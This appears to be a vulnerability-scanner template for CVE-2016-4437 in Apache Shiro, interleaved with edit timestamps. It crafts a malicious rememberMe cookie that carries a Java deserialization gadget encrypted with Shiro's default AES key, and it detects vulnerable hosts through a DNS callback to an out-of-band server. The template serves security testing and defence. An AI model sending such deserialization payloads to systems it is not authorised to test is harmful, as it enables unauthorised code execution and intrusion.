2023-05-11 08:55:04 +00:00
id : CVE-2016-4437
info :
name : Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
author : iamnoooob,rootxharsh,pdresearch
severity : high
description : |
Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of Apache Shiro
2023-05-11 08:55:04 +00:00
reference :
- https://github.com/Medicean/VulApps/tree/master/s/shiro/1
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
- http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
- http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
2023-07-11 19:49:27 +00:00
- http://rhn.redhat.com/errata/RHSA-2016-2035.html
2023-05-11 08:55:04 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.1
cve-id : CVE-2016-4437
cwe-id : CWE-284
2023-08-31 11:46:18 +00:00
epss-score : 0.97507
2023-10-23 12:22:20 +00:00
epss-percentile : 0.99979
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
2023-06-03 18:56:35 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : shiro
2023-06-03 18:56:35 +00:00
tags : cve,apache,rce,kev,packetstorm,cve2016,shiro,deserialization,oast
2023-05-11 08:55:04 +00:00
2023-05-11 09:04:45 +00:00
http :
2023-05-11 08:55:04 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}
matchers :
- type : word
part : interactsh_protocol
words :
- dns
2023-10-23 12:51:13 +00:00
# digest: 4b0a00483046022100cdf8b335927edfb4fa042558c6675d31eeccadc1bb2471af849945f2448d7e29022100f051399570c6b56b88ae194a812400b0e1fb2adf5539c839ba86084d78aa8e9f:922c64590222798bb761d5b6d8e72950